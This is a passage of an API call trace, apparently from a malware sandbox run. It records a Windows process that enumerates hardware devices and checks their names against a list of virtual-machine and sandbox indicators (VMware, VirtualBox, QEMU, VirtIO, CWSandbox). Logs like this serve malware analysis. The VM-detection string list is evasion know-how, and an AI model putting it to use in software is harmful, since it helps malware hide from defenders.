DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xf, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.946] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7d8 [0279.946] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="vmxnet") returned 0x0 [0279.946] lstrlenA (lpString="vmxnet") returned 6 [0279.946] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0279.946] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8e8 [0279.946] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="vmscsi") returned 0x0 [0279.946] lstrlenA (lpString="vmscsi") returned 6 [0279.946] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8e8 | out: hHeap=0x2670000) returned 1 [0279.946] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef828 [0279.946] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="VMAUDIO") returned 0x0 [0279.946] lstrlenA (lpString="VMAUDIO") returned 7 [0279.947] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0279.947] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7e8 [0279.947] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="vmdebug") returned 0x0 [0279.947] lstrlenA (lpString="vmdebug") returned 7 [0279.947] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7e8 | out: hHeap=0x2670000) returned 1 [0279.947] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef808 [0279.947] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="vm3dmp") returned 0x0 [0279.947] lstrlenA (lpString="vm3dmp") returned 6 [0279.947] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef808 | out: hHeap=0x2670000) returned 1 [0279.947] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa68 [0279.947] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="vmrawdsk") returned 0x0 [0279.947] lstrlenA (lpString="vmrawdsk") returned 8 [0279.947] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0279.947] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb88 [0279.947] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="vmx_svga") returned 0x0 [0279.947] lstrlenA (lpString="vmx_svga") returned 8 [0279.947] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.947] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef898 [0279.947] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="ansfltr") returned 0x0 [0279.947] lstrlenA (lpString="ansfltr") returned 7 [0279.947] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0279.947] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef758 [0279.947] StrStrIA (lpFirst="NdisVirtualBus", lpSrch="sbtisht") returned 0x0 [0279.947] lstrlenA (lpString="sbtisht") returned 7 [0279.948] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef758 | out: hHeap=0x2670000) returned 1 [0279.948] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.948] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x32, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.948] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0280.102] GetLastError () returned 0x7a [0280.102] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x26) returned 0x26ef908 [0280.102] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x13, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0280.205] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa08 [0280.205] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Pointing") returned 0x0 [0280.205] lstrlenA (lpString="VMware Pointing") returned 15 [0280.205] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0280.205] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef938 [0280.205] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Accelerated") returned 0x0 [0280.205] lstrlenA (lpString="VMware Accelerated") returned 18 [0280.205] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0280.205] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa98 [0280.205] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware SCSI") returned 0x0 [0280.205] lstrlenA (lpString="VMware SCSI") returned 11 [0280.205] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0280.205] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa20 [0280.205] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware SVGA") returned 0x0 [0280.205] lstrlenA (lpString="VMware SVGA") returned 11 [0280.205] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0280.205] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa80 [0280.205] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Replay") returned 0x0 [0280.205] lstrlenA (lpString="VMware Replay") returned 13 [0280.206] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0280.206] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef938 [0280.206] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware server memory") returned 0x0 [0280.206] lstrlenA (lpString="VMware server memory") returned 20 [0280.206] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0280.206] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa38 [0280.206] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="CWSandbox") returned 0x0 [0280.206] lstrlenA (lpString="CWSandbox") returned 9 [0280.206] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0280.206] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efba0 [0280.206] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="Virtual HD") returned 0x0 [0280.206] lstrlenA (lpString="Virtual HD") returned 10 [0280.206] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0280.206] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef748 [0280.206] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="QEMU") returned 0x0 [0280.206] lstrlenA (lpString="QEMU") returned 4 [0280.206] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef748 | out: hHeap=0x2670000) returned 1 [0280.206] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb10 [0280.206] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="Red Hat VirtIO") returned 0x0 [0280.206] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0280.207] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0280.207] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb40 [0280.207] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="srootkit") returned 0x0 [0280.207] lstrlenA (lpString="srootkit") returned 8 [0280.207] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0280.207] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef9f0 [0280.207] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware VMaudio") returned 0x0 [0280.207] lstrlenA (lpString="VMware VMaudio") returned 14 [0280.207] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0280.207] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efab0 [0280.207] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Vista") returned 0x0 [0280.207] lstrlenA (lpString="VMware Vista") returned 12 [0280.207] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0280.207] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa08 [0280.207] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VBoxVideo") returned 0x0 [0280.207] lstrlenA (lpString="VBoxVideo") returned 9 [0280.207] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0280.207] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa98 [0280.207] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VBoxGuest") returned 0x0 [0280.207] lstrlenA (lpString="VBoxGuest") returned 9 [0280.207] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0280.207] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0280.207] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0280.208] GetLastError () returned 0x7a [0280.208] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa38 [0280.208] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa38, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa38, RequiredSize=0x19fe7c) returned 1 [0280.208] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8d8 [0280.208] StrStrIA (lpFirst="kbdhid", lpSrch="vmxnet") returned 0x0 [0280.208] lstrlenA (lpString="vmxnet") returned 6 [0280.208] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8d8 | out: hHeap=0x2670000) returned 1 [0280.208] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7e8 [0280.209] StrStrIA (lpFirst="kbdhid", lpSrch="vmscsi") returned 0x0 [0280.209] lstrlenA (lpString="vmscsi") returned 6 [0280.209] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7e8 | out: hHeap=0x2670000) returned 1 [0280.209] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8c8 [0280.209] StrStrIA (lpFirst="kbdhid", lpSrch="VMAUDIO") returned 0x0 [0280.209] lstrlenA (lpString="VMAUDIO") returned 7 [0280.209] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0280.209] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef748 [0280.209] StrStrIA (lpFirst="kbdhid", lpSrch="vmdebug") returned 0x0 [0280.209] lstrlenA (lpString="vmdebug") returned 7 [0280.209] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef748 | out: hHeap=0x2670000) returned 1 [0280.209] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef858 [0280.209] StrStrIA (lpFirst="kbdhid", lpSrch="vm3dmp") returned 0x0 [0280.209] lstrlenA (lpString="vm3dmp") returned 6 [0280.209] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0280.209] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa50 [0280.209] StrStrIA (lpFirst="kbdhid", lpSrch="vmrawdsk") returned 0x0 [0280.209] lstrlenA (lpString="vmrawdsk") returned 8 [0280.209] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0280.209] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efab0 [0280.209] StrStrIA (lpFirst="kbdhid", lpSrch="vmx_svga") returned 0x0 [0280.209] lstrlenA (lpString="vmx_svga") returned 8 [0280.209] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0280.209] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8c8 [0280.210] StrStrIA (lpFirst="kbdhid", lpSrch="ansfltr") returned 0x0 [0280.210] lstrlenA (lpString="ansfltr") returned 7 [0280.210] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0280.210] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef858 [0280.210] StrStrIA (lpFirst="kbdhid", lpSrch="sbtisht") returned 0x0 [0280.210] lstrlenA (lpString="sbtisht") returned 7 [0280.210] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0280.210] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0280.210] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x33, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0280.210] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0280.214] GetLastError () returned 0x7a [0280.214] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1c) returned 0x26ef908 [0280.214] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0280.217] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efab0 [0280.217] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Pointing") returned 0x0 [0280.217] lstrlenA (lpString="VMware Pointing") returned 15 [0280.217] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0280.217] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef930 [0280.217] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Accelerated") returned 0x0 [0280.217] lstrlenA (lpString="VMware Accelerated") returned 18 [0280.217] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0280.217] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa68 [0280.217] StrStrIA (lpFirst="????? ???????", lpSrch="VMware SCSI") returned 0x0 [0280.217] lstrlenA (lpString="VMware SCSI") returned 11 [0280.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0280.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efac8 [0280.218] StrStrIA (lpFirst="????? ???????", lpSrch="VMware SVGA") returned 0x0 [0280.218] lstrlenA (lpString="VMware SVGA") returned 11 [0280.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0280.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb70 [0280.218] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Replay") returned 0x0 [0280.218] lstrlenA (lpString="VMware Replay") returned 13 [0280.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0280.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef930 [0280.218] StrStrIA (lpFirst="????? ???????", lpSrch="VMware server memory") returned 0x0 [0280.218] lstrlenA (lpString="VMware server memory") returned 20 [0280.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0280.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb40 [0280.218] StrStrIA (lpFirst="????? ???????", lpSrch="CWSandbox") returned 0x0 [0280.218] lstrlenA (lpString="CWSandbox") returned 9 [0280.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0280.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb40 [0280.218] StrStrIA (lpFirst="????? ???????", lpSrch="Virtual HD") returned 0x0 [0280.218] lstrlenA (lpString="Virtual HD") returned 10 [0280.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0280.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef728 [0280.219] StrStrIA (lpFirst="????? ???????", lpSrch="QEMU") returned 0x0 [0280.219] lstrlenA (lpString="QEMU") returned 4 [0280.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0280.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa68 [0280.219] StrStrIA (lpFirst="????? ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0280.219] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0280.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0280.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb28 [0280.219] StrStrIA (lpFirst="????? ???????", lpSrch="srootkit") returned 0x0 [0280.219] lstrlenA (lpString="srootkit") returned 8 [0280.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0280.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef9f0 [0280.219] StrStrIA (lpFirst="????? ???????", lpSrch="VMware VMaudio") returned 0x0 [0280.219] lstrlenA (lpString="VMware VMaudio") returned 14 [0280.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0280.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efaf8 [0280.219] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Vista") returned 0x0 [0280.219] lstrlenA (lpString="VMware Vista") returned 12 [0280.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0280.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb10 [0280.219] StrStrIA (lpFirst="????? ???????", lpSrch="VBoxVideo") returned 0x0 [0280.219] lstrlenA (lpString="VBoxVideo") returned 9 [0280.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0280.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb70 [0280.220] StrStrIA (lpFirst="????? ???????", lpSrch="VBoxGuest") returned 0x0 [0280.220] lstrlenA (lpString="VBoxGuest") returned 9 [0280.220] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0280.220] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0280.220] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0280.220] GetLastError () returned 0xd [0280.220] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x34, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0280.220] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0281.226] GetLastError () returned 0x7a [0281.226] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1a) returned 0x26ef908 [0281.226] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.237] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efaf8 [0282.238] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware Pointing") returned 0x0 [0282.238] lstrlenA (lpString="VMware Pointing") returned 15 [0282.238] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0282.238] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef930 [0282.238] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware Accelerated") returned 0x0 [0282.238] lstrlenA (lpString="VMware Accelerated") returned 18 [0282.238] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0282.238] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa68 [0282.238] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware SCSI") returned 0x0 [0282.238] lstrlenA (lpString="VMware SCSI") returned 11 [0282.238] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0282.238] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb70 [0282.238] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware SVGA") returned 0x0 [0282.238] lstrlenA (lpString="VMware SVGA") returned 11 [0282.238] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0282.238] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efab0 [0282.239] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware Replay") returned 0x0 [0282.239] lstrlenA (lpString="VMware Replay") returned 13 [0282.239] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0282.239] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef930 [0282.239] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware server memory") returned 0x0 [0282.239] lstrlenA (lpString="VMware server memory") returned 20 [0282.239] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0282.239] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb10 [0282.239] StrStrIA (lpFirst="??? PnP ????", lpSrch="CWSandbox") returned 0x0 [0282.239] lstrlenA (lpString="CWSandbox") returned 9 [0282.239] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0282.239] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa98 [0282.239] StrStrIA (lpFirst="??? PnP ????", lpSrch="Virtual HD") returned 0x0 [0282.239] lstrlenA (lpString="Virtual HD") returned 10 [0282.239] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0282.239] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef888 [0282.239] StrStrIA (lpFirst="??? PnP ????", lpSrch="QEMU") returned 0x0 [0282.239] lstrlenA (lpString="QEMU") returned 4 [0282.239] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0282.239] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb70 [0282.239] StrStrIA (lpFirst="??? PnP ????", lpSrch="Red Hat VirtIO") returned 0x0 [0282.239] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0282.240] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0282.240] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efae0 [0282.240] StrStrIA (lpFirst="??? PnP ????", lpSrch="srootkit") returned 0x0 [0282.240] lstrlenA (lpString="srootkit") returned 8 [0282.240] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.240] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb28 [0282.240] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware VMaudio") returned 0x0 [0282.240] lstrlenA (lpString="VMware VMaudio") returned 14 [0282.240] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0282.240] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb58 [0282.240] StrStrIA (lpFirst="??? PnP ????", lpSrch="VMware Vista") returned 0x0 [0282.240] lstrlenA (lpString="VMware Vista") returned 12 [0282.240] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0282.240] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efaf8 [0282.240] StrStrIA (lpFirst="??? PnP ????", lpSrch="VBoxVideo") returned 0x0 [0282.240] lstrlenA (lpString="VBoxVideo") returned 9 [0282.240] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0282.240] RtlAllocateHeap (HeapHandle=0x2670000, 